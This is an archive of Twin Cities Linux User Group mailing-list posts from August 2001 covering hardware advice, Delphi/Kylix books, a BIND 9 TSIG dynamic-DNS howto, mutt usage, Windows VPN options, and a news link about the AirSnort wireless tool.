"supported" Andrew S. Zbikowski | http://www.ringworld.org "We can learn much more from wise words, little from wisecracks and less from wise guys." --William Arthur Ward From blayer at qwest.net Wed Aug 22 00:21:40 2001 From: blayer at qwest.net (Bill Layer) Date: Mon Jan 17 13:26:41 2005 Subject: [TCLUG] DVD/CD-RW combo drive (laptop) In-Reply-To: <20010821183640.13601ded.hick0088@tc.umn.edu> References: <20010821183640.13601ded.hick0088@tc.umn.edu> Message-ID: <20010822002140.3fb3c6dd.blayer@qwest.net> On Tue, 21 Aug 2001 18:36:40 -0500 "Mike Hicks" wrote: > Sidenote: Does Compaq still allocate a small part of the hard drive to an > extended BIOS of sorts? I seem to recall some discussion about that a few > years ago. Compaq had a small (5mb) system partition, that contained only the CMOS setup utility, and some simple diagnostics. It did not contain BIOS code per se, just for some reason Compaq decided to put its setup on the HD instead of in EPROM, as would a normal manufacturer. They were not consistent in this; I have two Compaq machines here that have the CMOS setup in ROM.. one is a notebook, the other is a DeskPro desktop. I'm not sure if they do this anymore or not. -.bill.layer.- -.those who are talking don't know, and those who know aren't talking.- -.frogtown.- -.minnesota.- -.u.s.a.- From blayer at qwest.net Wed Aug 22 01:47:15 2001 From: blayer at qwest.net (Bill Layer) Date: Mon Jan 17 13:26:42 2005 Subject: [TCLUG] kernel 2.4 and Duron In-Reply-To: References: Message-ID: <20010822014715.6df00d40.blayer@qwest.net> On Tue, 21 Aug 2001 13:53:41 -0500 (CDT) andy@theasis.com wrote: > Anyone else had similar experiences, or have any insights about this? > Could it, e.g., be the gcc version? Just for fun I tried compiliing with > egcs, but had same result. Hm, 2.4.6 runs fine on my Duron 850, as did 2.4.0-2.4.5. If you want, I'll send you a copy of my /usr/src/linux/.config -.bill.layer.- -.those who are talking don't know, and those who know aren't talking.- -.frogtown.- -.minnesota.- -.u.s.a.- From tanner at real-time.com Wed Aug 22 02:26:27 2001 From: tanner at real-time.com (Bob Tanner) Date: Mon Jan 17 13:26:42 2005 Subject: [TCLUG] Wireless Networks in Big Trouble Message-ID: <20010822022627.F32198@real-time.com> Yummy! http://www.wired.com/news/wireless/0,1382,46187,00.html Wireless networks are a little less secure today with the public release of "AirSnort," a tool that can surreptitiously grab and analyze data moving across just about every major wireless network. When enough information has been captured, AirSnort can then piece together the system's master password. In other words, hackers and/or eavesdroppers using AirSnort can just grab what they want from a company's database wirelessly, out of thin air. -- Bob Tanner ; from kbullock@ringworld.org on Tue, Aug 21, 2001 at 11:40:45PM -0500 References: Message-ID: <20010822163255.C7550@beaver.iucha.org> On Tue, Aug 21, 2001 at 11:40:45PM -0500, Kevin R. Bullock wrote: > Hey all -- > > When I got home from dinner last night, I tried to wake my computer up (I > had left it asleep), to no avail. I hit the reset switch. Nothing. I held > in the ATX power switch on the front for four seconds. It didn't turn off. > > I figure, okay, it got stuck in sleep mode. So I turned the hard power > switch on the back of the case off, then on again. Then I hit the power > switch on the front again to turn the computer back on. > > Nothing. Sh*t. > > So I'm guessing my motherboard is fried. Does this sound reasonable? (I > have another board laying around so I can check, but I'm out of town > right now.) > > If my board is indeed fried and I can't RMA it, I'm planning on > replacing it with a Thunderbird (not a very fast one though, I'm saving > up for an iBook). Any recommendations for a good Athlon mobo? I'm > looking for a non-DDR board (don't want to buy new memory). > > So far I'm considering an EPoX 8KTA or an ASUS A7V (or another of either > series, e.g. 8KTA2 or A7V133). > > What's the difference between the VIA KT133 and the KT133A? 1. 100 MHz FSB vs 133 MHz FSB (KT133A) 2. ATA-66 vs ATA-100 (KT133A) florin -- "If it's not broken, is because you are not fixing it enough." 41A9 2BDE 8E11 F1C5 87A6 03EE 34B3 E075 3B90 DFE4 From lxy at cloudnet.com Wed Aug 22 16:43:13 2001 From: lxy at cloudnet.com (Brian) Date: Mon Jan 17 13:26:42 2005 Subject: [TCLUG] Dead mobo, Athlon question In-Reply-To: Message-ID: On Tue, 21 Aug 2001, Kevin R. Bullock wrote: > Hey all -- > > When I got home from dinner last night, I tried to wake my computer up (I > had left it asleep), to no avail. I hit the reset switch. Nothing. I held > in the ATX power switch on the front for four seconds. It didn't turn off. Stupid trick: unplug the power cord from the power supply. Plug it back in, try turning it on. If nothing, try again. I have a similar problem on my parent's machine. It's an Abit KT7 and for some reason if you cold boot the machine it refuses to bring up the video card. If I unplug the power cable from the machine, plug it back in and power it up it's just fine. Warm boots are fine. Cold boots are not. I'm assuming it's grounding since the power switch on the surge protector doesn't do the trick. -Brian From blutgens at sistina.com Wed Aug 22 16:55:01 2001 From: blutgens at sistina.com (Ben Lutgens) Date: Mon Jan 17 13:26:42 2005 Subject: [TCLUG] Wireless Networks in Big Trouble In-Reply-To: <20010822022627.F32198@real-time.com>; from tanner@real-time.com on Wed, Aug 22, 2001 at 02:26:27AM -0500 References: <20010822022627.F32198@real-time.com> Message-ID: <20010822165501.A4262@minime.sistina.com> On Wed, Aug 22, 2001 at 02:26:27AM -0500, Bob Tanner wrote: > >In other words, hackers and/or eavesdroppers using AirSnort can just grab what >they want from a company's database wirelessly, out of thin air. Yes, that's one application that works way too well. -- Ben Lutgens Sistina Software Inc. What's the difference between root and God ? God doesn't think that he is root. -------------- next part -------------- A non-text attachment was scrubbed... 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I forgot to re-enable it. -- Bob Tanner | Phone : (952)943-8700 http://www.mn-linux.org | Fax : (952)943-8500 Key fingerprint = 6C E9 51 4F D5 3E 4C 66 62 A9 10 E5 35 85 39 D9 From eng at pinenet.com Wed Aug 22 05:48:16 2001 From: eng at pinenet.com (Rick Engebretson) Date: Mon Jan 17 13:26:42 2005 Subject: [TCLUG] learning Kylix by learning Delphi Message-ID: <20010822.10481600@linwin.mshome.net> I purchased two (thick) Delphi 2 books hoping they would be good references for Kylix. What luck!! Borland seems to have maintained a consistent development environment from Delphi 2 (for Windows 95) through Kylix (for Linux). And what a rich development environment it is!! As a Biophysicist interested in instrumentation and controls interfaces, the Borland Visual Pascal system is a long sought working tool. It allows me to get back to being a Biophysicist; instead of getting lost in a variety of syntax, pointers, and obscure classes and libraries. M$ has never been consistent in its programming environment. Qbasic, QuickBasic, QuickC, C, Visual Basic, Visual Basic for Applications, Visual C, Visual Java, Front Page, are all very different even from version to version. M$ planned obsolescence has destabilized the industry. From natecars at real-time.com Wed Aug 22 17:28:36 2001 From: natecars at real-time.com (Nate Carlson) Date: Mon Jan 17 13:26:42 2005 Subject: [TCLUG] Wireless Networks in Big Trouble In-Reply-To: <20010822165501.A4262@minime.sistina.com> Message-ID: On Wed, 22 Aug 2001, Ben Lutgens wrote: > Yes, that's one application that works way too well. You guys are running IPSec between all your wireless clients and a gateway in front of your bridges, right?? -- Nate Carlson | Phone : (952)943-8700 http://www.real-time.com | Fax : (952)943-8500 From natecars at real-time.com Wed Aug 22 17:31:09 2001 From: natecars at real-time.com (Nate Carlson) Date: Mon Jan 17 13:26:42 2005 Subject: [TCLUG] Signed DNS requests Mini-Howto Message-ID: Spent some time on this last night to do dynamic dns updates for my RoadRunner IP address, and to allow me to transfer my zones back to my house. Got everything working, it rocks! Mini-HOWTO: :::: Prereq's for both dynamic dns and zone axfr's :::: 1) Run Bind 9.1.3+ on both ends 2) Generate a key for each _client_: $ /usr/sbin/dnssec-keygen -a HMAC-MD5 -n HOST -b 512 test.example.com Ktest.example.com.+157+29718 3) Move the keys to .private / .key $ mv Ktest.example.com.+157+29718.key test.example.com.key $ mv Ktest.example.com.+157+29718.private test.example.com.private 4) Add the private key to your named.conf (make sure perms are 600): $ cat test.example.com.private Private-key-format: v1.2 Algorithm: 157 (HMAC_MD5) Key: +qnJtcm5JntWnYzCYamurAJHiLI61DK4us0lsC4tYRVzgCXl+r69pi21r+GcZ2tXNxPCFCaKUpX4o4uXUVXe7g== Add the key to /etc/named.conf: key host.example.com. { algorithm hmac-md5; secret "4L92QzNp15zGjAO8I41o70YIK0nWSEF3ubkGjPvNdV8fEwkfjACX9zl0T8eTBPdOwMBYOqKayM2j8SRHh7xOoQ=="; }; (this has to come before any place where you might use it) :::: Dynamic DNS Updates :::: 1) give the user permission to update in /etc/named.conf: zone "example.com" { type master; file "example.com"; update-policy { grant admin.example.com. wildcard * ANY; grant test.example.com. name test.example.com. A; }; }; The top line allows anyone presenting the 'admin.example.com' key to be able to update everything in the example.com domain. The bottom line allows the 'test.example.com' key to update/delete a 'A' record for 'test.example.com', and nothing else. 2) make changes from your client! $ nsupdate -k test.example.com.private -d > update delete test.example.com. A > update add test.example.com. 1200 A 10.0.0.1 > ..will delete the 'A' record for test.example.com, and then create a new 'A' record for test.example.com with a TTL of 1200 pointing to 10.0.0.1. Cool, huh? I set up my DHCP scripts to handle this for me. :::: Secured Zone Transfers :::: 1) set up the server side all you need to do is add an 'allow-transfer { key test.example.com.; }; in named.conf for the zone you want to transfer. simple! 2) set up the client side You need to tell the client which key to present to the server. In named.conf: server 10.0.0.1 { keys { test.example.com.; }; }; .. will tell it to send the key for 'test.example.com' whenever communicating with the server at 10.0.0.1. Once that's added, just set up zone transfers as usual, they should work! Note, that this all came from playing, and I may have gotten some things very wrong. It also only does TSIG stuff, not the true DNSSEC stuff. I gotta stop and buy a copy of DNS and BIND rev 4. :) -- Nate Carlson | Phone : (952)943-8700 http://www.real-time.com | Fax : (952)943-8500 From fritchie at mr.net Wed Aug 22 17:34:36 2001 From: fritchie at mr.net (Scott Lystig Fritchie) Date: Mon Jan 17 13:26:42 2005 Subject: [TCLUG] Kinesis keyboard dealer in the Twin Cities? Message-ID: <200108222234.f7MMYas44006@snookles.snookles.com> The last time I bought a Kinesis[1] keyboard (five years ago?), I got it from Clinical Supply, located in the Minneapolis warehouse district. Though I haven't tried a "real" phone book, Qwestdex doesn't have a listing for CS anymore. Does anyone know of another Kinesis dealer in the Twin Cities? -Scott [1] http://www.kinesis-ergo.com/ From markt at logicworksinc.com Wed Aug 22 18:17:03 2001 From: markt at logicworksinc.com (Mark Theiste) Date: Mon Jan 17 13:26:42 2005 Subject: [TCLUG] learning Kylix by learning Delphi In-Reply-To: <20010822.10481600@linwin.mshome.net> Message-ID: I'll bet you bought them at 1/2 price books :) I have seen some pretty good old Delphi books show up there before. Which ones did you get? BTW there are some Kylix books on the way, too. On Amazon you can get "Building Kylix Applications" by Cary Jensen and Loy Anderson. Cary is venerable teacher of the Delphi craft who teamed up at one point in the past with Charlie Calvert to do some touring Delphi Workshops. Charlie is one of my favorite authors and has written several books, including some excellent Delphi/C++Builder books in the Unleashed series from SAMS. He is teaming up with David Intersimone and John Kaster to publish the "Kylix Developer's Guide" slated for November 5 publication. Charlie is a very knowledgable author who is very readable. In prior lives he was a journalist and an English teacher. He has even published some of his poetry on his web site http://homepages.borland.com/ccalvert/index.htm. His web site has some good Kylix reference material as well as Linux information and some other interesting pieces. Although he no longer works for Borland as he did for many years, Charlie is still a driving force in the Delphi community and is one reason that Borland stands apart from other tool vendors as a company that strives to support all kinds of developers wherever the technology being used is good and makes sense. There is also another Kylix book "Kylix Power Solutions" apparently available now but I am not familiar with the authors (Don Taylor, Jim Mischel, & Tim Gentry). There are a lot of other good Delphi books. Just do a search on Delphi on Amazon and if you have a question about if it is a good one or not, I'd be happy to let you know if I know. The internet is full of good resources for Delphi and Kylix, notably the Borland website. The newsgroups found at newsgroups.borland.com are extremely active and they are not full of a bunch of junk and flames. Many Delphi experts from around the world participate and will help anybody out with issues they run into. The Delphi Magazine from the U.K. http://www.thedelphimagazine.com/ has been publishing several good Kylix articles. The other notable Delphi magazine is the Delphi Informant (http://www.delphizine.com) which also publishes some Kylix articles. Of course you can always come to the Delphi SIG (Special Interest Group) at TCPC and we'll do our best to help you through your issues. In fact we have a meeting tonight and I need to get running! We meet the fourth Wednesday of every month. For directions, etc go to http://www.tcpc.com/sigs/delphi/index.html. Mark > -----Original Message----- > From: tclug-list-admin@mn-linux.org > [mailto:tclug-list-admin@mn-linux.org]On Behalf Of Rick Engebretson > Sent: Wednesday, August 22, 2001 5:48 AM > To: tclug-list@mn-linux.org > Subject: [TCLUG] learning Kylix by learning Delphi > > > I purchased two (thick) Delphi 2 books hoping they would be good > references for Kylix. What luck!! Borland seems to have maintained a > consistent development environment from Delphi 2 (for Windows 95) through > Kylix (for Linux). > > And what a rich development environment it is!! > > As a Biophysicist interested in instrumentation and controls interfaces, > the Borland Visual Pascal system is a long sought working tool. It allows > me to get back to being a Biophysicist; instead of getting lost in a > variety of syntax, pointers, and obscure classes and libraries. > > M$ has never been consistent in its programming environment. Qbasic, > QuickBasic, QuickC, C, Visual Basic, Visual Basic for Applications, > Visual C, Visual Java, Front Page, are all very different even from > version to version. M$ planned obsolescence has destabilized the > industry. > _______________________________________________ > tclug-list mailing list > tclug-list@mn-linux.org > https://mailman.mn-linux.org/mailman/listinfo/tclug-list From dieman+tclug at ringworld.org Wed Aug 22 18:19:05 2001 From: dieman+tclug at ringworld.org (Scott Dier) Date: Mon Jan 17 13:26:42 2005 Subject: [TCLUG] Dead mobo, Athlon question In-Reply-To: References: Message-ID: <20010822181904.Y9092@ringworld.org> * Kevin R. Bullock [010822 16:17]: > So far I'm considering an EPoX 8KTA or an ASUS A7V (or another of either > series, e.g. 8KTA2 or A7V133). MSI has a nice 133a chipset based board thats microatx that I'm going to use for my little brothers machine. -- Scott Dier http://www.ringworld.org/ #linuxos@irc.openprojects.net From rsinland at gvtel.com Wed Aug 22 08:35:44 2001 From: rsinland at gvtel.com (Robert Sinland) Date: Mon Jan 17 13:26:42 2005 Subject: [TCLUG] Linux based BBS? References: <20010821165301.X30458@real-time.com> <20010821170058.B31160@fandre.com> <20010821190410.B767@candle.mn.mediaone.net> Message-ID: <3B83B530.FAF885E7@gvtel.com> Nate Straz wrote: > On Tue, Aug 21, 2001 at 05:00:59PM -0500, Clay Fandre wrote: > > I was reading something about wildcat being ported to Linux. Not sure > > how good it is though. > > UGH! I thought all of Mustang Software sucked, including Qmodem. A > local board back home converted from an custom Amiga BBS to Wildcat! on > Windows and the BBS went downhill _really_ fast. > > It's unfortunate that BBSes dissappeared, but that's just the facts. It > seems that weblogs have come closest to recreating the community feel of > BBSes. But I haven't found anything that replaces door games. > > I've looked around from time to time at Linux BBS software, but I never > got around the setting one up. Citadel/UX seemed to be the most > promising on my list. I believe it's open source and free. > The last BBS system I ran was Renegade, and used the Front Door/ Intermail setup to log onto the BBS. Also used Gecho and DesqView and QEMM. Not all that long ago in fact. The Electric Dimension went down for good about 5-6 years ago. Anyway, one thing when looking for BBS software is asking yourself what sort of BBS do you want to have? Do you plan on running Door Games? Want networked message bases (ala Fido net or whatever) One of the cooler parts of my BBS was the networked door games! Falcons Eye was a big hit in our area, and for a smallish BBS we did well in battling the members of the BBS's we were networked up against:) I also recall the hellish phone bills as I was a node in at least 5 nets at any given time, and a HUB for a few more. It was all fun while it lasted, it was also work maintaining it all... Please keep us posted on what you come up with... RS From rechpj at earthlink.net Wed Aug 22 08:41:06 2001 From: rechpj at earthlink.net (Paul Rech) Date: Mon Jan 17 13:26:42 2005 Subject: [TCLUG] Cheap sound cards Message-ID: <3B83B672.A4A2F5A7@earthlink.net> I need a new sound card. My 6 year old needed mine in the new family computer to play his favorite song over and over and over. Smells Like Teen Spirit. Which many people think was a Nirvana song. But really was done by the "loud guy" according to my son. And to digress even further, he plays it, with no help from me, in xmms in Linux. So much for not being desktop ready. Anyway, I saw a yamaha PCI 512 voice surround sound at General Nanosystems for $27. Which is about as much as I'd like to pay, to give you an idea of cheap. Couldn't find this on the new, crappier Redhat hardware list. Nor any mention of it on deja. Anyone know if this works under Linux? Paul From blayer at qwest.net Wed Aug 22 18:58:48 2001 From: blayer at qwest.net (Bill Layer) Date: Mon Jan 17 13:26:42 2005 Subject: [TCLUG] exporting console to serial port In-Reply-To: References: Message-ID: <20010822185848.7b73be15.blayer@qwest.net> On Tue, 21 Aug 2001 23:22:30 -0500 (CDT) "Kevin R. Bullock" wrote: > On Fri, 17 Aug 2001, Brian wrote: > > > Yup, gracias. For some reason, the index on linuxdocs.org does not have > > this HOWTO listed, and the index on linuxdoc.org does. Time for me to > > stop using linuxdocs.org I guess. And what's up with the banner ads on > > linuxdocs? > > I've never seen linuxdocs.org before... it's not even registered to the > same person as linuxdoc.org. http://www.linuxdoc.org/ is the official > web site of the LDP. Use it instead. I was thinking about setting up a serial console, and I noticed something that seems to be missing from the HOW-TO. The HOW-TO neglects to mention anything about the kernel configuration option "Character Devices > Support for Console on Serial Port". I assume this option needs to be included to allow a serial console, but the HOW-TO ignores it. Here is a clip from /usr/src/linux/Documentation/serial-console.txt: To use a serial port as console you need to compile the support into your kernel - by default it is not compiled in. For PC style serial ports it's the config option next to "Standard/generic (dumb) serial support". You must compile serial support into the kernel and not as a module. Is this Yet Another Sloppy HOW-TO? -.bill.layer.- -.those who are talking don't know, and those who know aren't talking.- -.frogtown.- -.minnesota.- -.u.s.a.- From blayer at qwest.net Wed Aug 22 19:02:01 2001 From: blayer at qwest.net (Bill Layer) Date: Mon Jan 17 13:26:42 2005 Subject: [TCLUG] Intel 3200 DSL modem with Linux In-Reply-To: References: <20010821214759.8277.qmail@web13005.mail.yahoo.com> Message-ID: <20010822190201.089ee684.blayer@qwest.net> On Wed, 22 Aug 2001 00:14:16 -0500 (CDT) "Andy Zbikowski (Zibby)" wrote: > You... > > loose. > > Only > > external > > Cisco > > modems "supported" When a high-speed modem... Is under your tree... Just Make sure that hardware... Ain't HSP!!! Billy-Shave -.bill.layer.- -.those who are talking don't know, and those who know aren't talking.- -.frogtown.- -.minnesota.- -.u.s.a.- From wilcoxon at bridge.com Wed Aug 22 10:35:14 2001 From: wilcoxon at bridge.com (Stephen R. Wilcoxon) Date: Mon Jan 17 13:26:42 2005 Subject: [TCLUG] Kyro II under Linux Message-ID: <200108221535.LAA15835@mnmailhost> I need a new video card for a machine I recently picked up and was thinking about getting the Guillemot 3D Prophet 4500 (a Kyro II based board). However, I also want to put Linux on the machine (probably Debian). Does anybody know if Linux (Debian particularly) has support for the board? Has anybody used it and have any additional comment? From jasonj at innominatus.com Wed Aug 22 11:42:11 2001 From: jasonj at innominatus.com (Jason J) Date: Mon Jan 17 13:26:43 2005 Subject: [TCLUG] Linux-Microsoft Secure VPNs? Message-ID: <3B83E0E3.8070704@innominatus.com> Has anyone setup some sort of VPN server in linux that supports windows clients? If so, how secure is it? I am in the process of setting up PopTop with the MS PPE patched ppp. Is there a better alternative? Basically I want to get remote employee windows dialup clients into out network as secure as possible. From blutgens at sistina.com Wed Aug 22 20:16:44 2001 From: blutgens at sistina.com (Ben Lutgens) Date: Mon Jan 17 13:26:43 2005 Subject: [TCLUG] Wireless Networks in Big Trouble In-Reply-To: ; from natecars@real-time.com on Wed, Aug 22, 2001 at 05:28:36PM -0500 References: <20010822165501.A4262@minime.sistina.com> Message-ID: <20010822201644.C1547@minime.sistina.com> On Wed, Aug 22, 2001 at 05:28:36PM -0500, Nate Carlson wrote: >On Wed, 22 Aug 2001, Ben Lutgens wrote: >> Yes, that's one application that works way too well. > >You guys are running IPSec between all your wireless clients and a gateway >in front of your bridges, right?? No comment, I've been pushing to get rid of the shit. We have wires to every where we need them. -- Ben Lutgens Sistina Software Inc. What's the difference between root and God ? God doesn't think that he is root. -------------- next part -------------- A non-text attachment was scrubbed... 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From natecars at real-time.com Wed Aug 22 12:50:55 2001 From: natecars at real-time.com (Nate Carlson) Date: Mon Jan 17 13:26:43 2005 Subject: [TCLUG] Dynamic DNS Under Bind9 Message-ID: Well, I got Dynamic DNS for my box at home (on RoadRunner cable using DHCP) working. :) For those of you who don't recall the thread, I wanted to set up my own hostname for the box under my own domain (not dyndns.*). I did some research, and found that TSIG with nslookup was the way to do it. Basically, all you do is use dnssec-keygen to generate a shared key for the update, configure your BIND server to allow updates from that key, and then use the 'nsupdate' command with TSIG on the client to update the IP address. I just added that to the ifup section of my dhclient-script file. Really easy and simple. It's fun! If you guys want more details, let me know.. I'll be happy to share, but if nobody's interested, I won't bother typing it. :) -- Nate Carlson | Phone : (952)943-8700 http://www.real-time.com | Fax : (952)943-8500 From natecars at real-time.com Wed Aug 22 16:34:16 2001 From: natecars at real-time.com (Nate Carlson) Date: Mon Jan 17 13:26:43 2005 Subject: [TCLUG] #tclug wonders wheter the list is dead! In-Reply-To: <20010822225348.A15549@io.stderr.net> Message-ID: On Wed, 22 Aug 2001, Thomas Eibner wrote: > It's been the ongoing discussion all day! It's alliiiveee! (Bob disabled the queue runner and never re-enabled it. Ooops. :) -- Nate Carlson | Phone : (952)943-8700 http://www.real-time.com | Fax : (952)943-8500 From simeonuj at eetc.com Wed Aug 22 16:40:28 2001 From: simeonuj at eetc.com (Simeon Johnston) Date: Mon Jan 17 13:26:43 2005 Subject: [TCLUG] #tclug wonders wheter the list is dead! References: <20010822225348.A15549@io.stderr.net> Message-ID: <3B8426A3.6302E16E@eetc.com> Thomas Eibner wrote: > > It's been the ongoing discussion all day! And what about those of use who can't "discuss" all day? :) sim From tmechanic at mn.mediaone.net Wed Aug 22 16:48:51 2001 From: tmechanic at mn.mediaone.net (BT) Date: Mon Jan 17 13:26:43 2005 Subject: [TCLUG] Intel 3200 DSL modem with Linux References: <54180709DD3FE145917BB165AFE7EFA0BCDDDB@mspexch2.office.mktw.net> Message-ID: <3B8428C3.93488671@mn.mediaone.net> If you need to I have a Cisco 675 here that I'll let go cheap "Austad, Jay" wrote: > Last I heard, the 3200 was like a winmodem and won't work with linux. The > 3200 sucks anyway, my girlfriend had one and it was a total piece of crap. > > Get a 675/678 instead. Then your internet connection won't be dependent on > your linux box, which I'm sure you're always tweaking and playing around > with. > > Jay > > -----Original Message----- > From: Eric Sandeen [mailto:sandeen@sgi.com] > Sent: Tuesday, August 21, 2001 5:16 PM > To: tclug-list@mn-linux.org > Subject: Re: [TCLUG] Intel 3200 DSL modem with Linux > > "Elvedin T." wrote: > > > > I tried to find some driver for my DSL modem, a Intel 3200, but I had > > no luck. I looked at the Intel web site, but they had no useful info. > > So I'm asking if anyone know where I can get some drivers for my DSL > > modem. > > I'm fairly certain that they don't exist. Someone asked about it on > this list a while ago, take a look at the archives... I was looking for > this last month as well, and found nothing. I think Intel bought > somebody's design, so it's probably not even up to them to release the > specs. > > I'd ask Qwest if you can trade it in for an external Cisco (they'll > probably charge you about $100 for it). > > -Eric > > -- > Eric Sandeen XFS for Linux http://oss.sgi.com/projects/xfs > sandeen@sgi.com SGI, Inc. > _______________________________________________ > tclug-list mailing list > tclug-list@mn-linux.org > https://mailman.mn-linux.org/mailman/listinfo/tclug-list > _______________________________________________ > tclug-list mailing list > tclug-list@mn-linux.org > https://mailman.mn-linux.org/mailman/listinfo/tclug-list From gabe at msi.umn.edu Wed Aug 22 21:52:50 2001 From: gabe at msi.umn.edu (Gabe Turner) Date: Mon Jan 17 13:26:43 2005 Subject: [TCLUG] Kinesis keyboard dealer in the Twin Cities? In-Reply-To: <200108222234.f7MMYas44006@snookles.snookles.com>; from fritchie@mr.net on Wed, Aug 22, 2001 at 05:34:36PM -0500 References: <200108222234.f7MMYas44006@snookles.snookles.com> Message-ID: <20010822215250.A30543@monsoon.msi.umn.edu> On Wed, Aug 22, 2001 at 05:34:36PM -0500, Scott Lystig Fritchie wrote: > The last time I bought a Kinesis[1] keyboard (five years ago?), I got > it from Clinical Supply, located in the Minneapolis warehouse > district. Though I haven't tried a "real" phone book, Qwestdex > doesn't have a listing for CS anymore. > > Does anyone know of another Kinesis dealer in the Twin Cities? Well, I just followed your own footnote, clicked on "How to Buy", clicked on "Kinesis Resellers", scrolled down to Minnesota and found this: http://www.csiergonomics.com/ -- ------------------------------------------------------------------------ Gabe Turner gabe@msi.umn.edu SGI Origin Systems Administrator, University of Minnesota Supercomputing Institute for Digital Simulation and Advanced Computation www.msi.umn.edu ------------------------------------------------------------------------ From dieman at ringworld.org Wed Aug 22 23:00:31 2001 From: dieman at ringworld.org (Scott Dier) Date: Mon Jan 17 13:26:43 2005 Subject: [TCLUG] Want to swap Message-ID: <20010822230030.Z9092@ringworld.org> 256mb ECC ram for 256mb pc[100|133] ram. (they cost the same, these days. would perfer 133 though). Thanks. -- Scott Dier http://www.ringworld.org/ #linuxos@irc.openprojects.net From tanner at real-time.com Wed Aug 22 23:55:14 2001 From: tanner at real-time.com (Bob Tanner) Date: Mon Jan 17 13:26:43 2005 Subject: [TCLUG] mutt, mailboxes, HOWTO Message-ID: <20010822235514.A7595@real-time.com> After reading the thread on mailboxes and mutt, I tried it out. I set up procmail to deliver all tclug's email to ~/Mail/tclug-list. I setup my .muttrc to mailboxes tclug-list. I run mutt. Uhh, what is so great about this? I don't see the advantages of this setup or the geek factor. :-) I have always had procmail sending stuff to ~/Mail/tclug-list, I just frequently 'c' =tclug-list and read mail. What does the mailboxes tclug-list give me? Am I missing something obvious? -- Bob Tanner | Phone : (952)943-8700 http://www.mn-linux.org | Fax : (952)943-8500 Key fingerprint = 6C E9 51 4F D5 3E 4C 66 62 A9 10 E5 35 85 39 D9 From blutgens at sistina.com Thu Aug 23 00:37:53 2001 From: blutgens at sistina.com (Ben Lutgens) Date: Mon Jan 17 13:26:43 2005 Subject: [TCLUG] mutt, mailboxes, HOWTO In-Reply-To: <20010822235514.A7595@real-time.com>; from tanner@real-time.com on Wed, Aug 22, 2001 at 11:55:14PM -0500 References: <20010822235514.A7595@real-time.com> Message-ID: <20010823003753.A15539@minime.sistina.com> On Wed, Aug 22, 2001 at 11:55:14PM -0500, Bob Tanner wrote: >After reading the thread on mailboxes and mutt, I tried it out. >I don't see the advantages of this setup or the geek factor. :-) > Having mailboxes set allows you to open mutt with the -y switch and see all of the ones in your list ( i.e. th places new mails go and not all the places you've "s"aved mail to.) When I hit "c" the next mailbox in my list with new mail in it is already listed in the bottom bar with the =tclug-list you have to type and I can hit "enter" and I'm there. Further more I can hit "c" and I go back to my list of mailboxes again, again shows all files in my Mail directory ( and so on ) I think it also affects the "reply to list" stuff that I've ever used. -- Ben Lutgens Sistina Software Inc. What's the difference between root and God ? God doesn't think that he is root. -------------- next part -------------- A non-text attachment was scrubbed... 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I guess I need to see a demo. mutt -y just gives me a blank screen (nothing listed). "c" gives me a list of lots of stuff. -- Bob Tanner | Phone : (952)943-8700 http://www.mn-linux.org | Fax : (952)943-8500 Key fingerprint = 6C E9 51 4F D5 3E 4C 66 62 A9 10 E5 35 85 39 D9 From mwagner at mysql.com Thu Aug 23 00:53:13 2001 From: mwagner at mysql.com (Matt Wagner) Date: Mon Jan 17 13:26:43 2005 Subject: [TCLUG] Linux-Microsoft Secure VPNs? In-Reply-To: <3B83E742.4070807@talkware.net> References: <3B83E742.4070807@talkware.net> Message-ID: <15236.39497.265361.93000@evoq.mwagner.org> Jason Jorgensen writes: > Has anyone setup some sort of VPN server in linux that supports windows > clients? If so, how secure is it? > > I am in the process of setting up PopTop with the MS PPE patched ppp. Is > there a better alternative? > > Basically I want to get remote employee windows dialup clients into out > network as secure as possible. Hi, If your Windows clients are running Win NT4/2k, check out CIPE. http://sites.inka.de/sites/bigred/devel/cipe.html We are using this internally at MySQL AB for our VPN, as our developers are scattered around the world. It works very well, with the exception that it is only limited to Linux and these two Win32 platforms. :-\ Regards, Matt -- For technical support contracts, visit https://order.mysql.com/ __ ___ ___ ____ __ / |/ /_ __/ __/ __ \/ / Mr. Matt Wagner / /|_/ / // /\ \/ /_/ / /__ MySQL AB, Herr Direktor /_/ /_/\_, /___/\___\_\___/ Hopkins, Minnesota USA <___/ www.mysql.com From josh at greentechnologist.org Wed Aug 22 20:03:19 2001 From: josh at greentechnologist.org (Joshua b. Jore) Date: Mon Jan 17 13:26:43 2005 Subject: [TCLUG] hotmail servers scanning... Message-ID: Just a general issue, I've noticed a few IPs from the hotmail.com IP range doing some curious scanning. The same IP will try several times to connect to a specific high port and it's always sourced from the smtp port. I'm including a grep from my firewall log where it shows the hotmail IP, the source port, the destination port (where I blocked the access) and how many times the hotmail IP tried. So what's going on? Is hotmail trojaned or something? Am I just missing something important here? 64.4.55.73 25 8546 6 64.4.55.171 25 10273 6 64.4.42.33 25 18839 11 64.4.49.144 25 44093 11 64.4.56.229 25 42600 7 64.4.56.203 25 11097 6 64.4.56.176 25 21336 5 64.4.55.20 25 40832 10 64.4.55.155 25 47103 11 64.4.42.30 25 29489 11 64.4.50.13 25 48844 11 64.4.56.226 25 23369 6 Joshua Jore Minneapolis Ward 3, precinct 10 "The irony of this man being imprisoned in the United States and longing to return to once-Communist Russia so he can regain his right to free speech is simply staggering." - someone else From tanner at real-time.com Thu Aug 23 03:39:37 2001 From: tanner at real-time.com (Bob Tanner) Date: Mon Jan 17 13:26:43 2005 Subject: [TCLUG] Box of hangs/crashes Message-ID: <20010823033937.A21322@real-time.com> Running RH 7.0 with Kernel 2.4.8. Installation of Star Office hangs the box, using grip/lame hangs the box, installing Win2K as a guest OS under VMWare hangs the box. Anyone see any commonality here? XFree86-4.1.0-0.0.1 Not sure what lese could be causing the box to hang. No logs, no oops, nothing. -- Bob Tanner | Phone : (952)943-8700 http://www.mn-linux.org | Fax : (952)943-8500 Key fingerprint = 6C E9 51 4F D5 3E 4C 66 62 A9 10 E5 35 85 39 D9 From jack at jacku.com Thu Aug 23 06:22:20 2001 From: jack at jacku.com (Jack Ungerleider) Date: Mon Jan 17 13:26:43 2005 Subject: [TCLUG] Box of hangs/crashes In-Reply-To: <20010823033937.A21322@real-time.com> References: <20010823033937.A21322@real-time.com> Message-ID: <01082306222000.01848@geezer> On Thursday 23 August 2001 03:39, you wrote: > Running RH 7.0 with Kernel 2.4.8. > > Installation of Star Office hangs the box, using grip/lame hangs the box, > installing Win2K as a guest OS under VMWare hangs the box. Anyone see any > commonality here? > > XFree86-4.1.0-0.0.1 > > Not sure what lese could be causing the box to hang. No logs, no oops, > nothing. Not sure its of any value but when I attempted to install SuSE 7.2 on an older laptop it would stop dead whenever I tried to use the sound 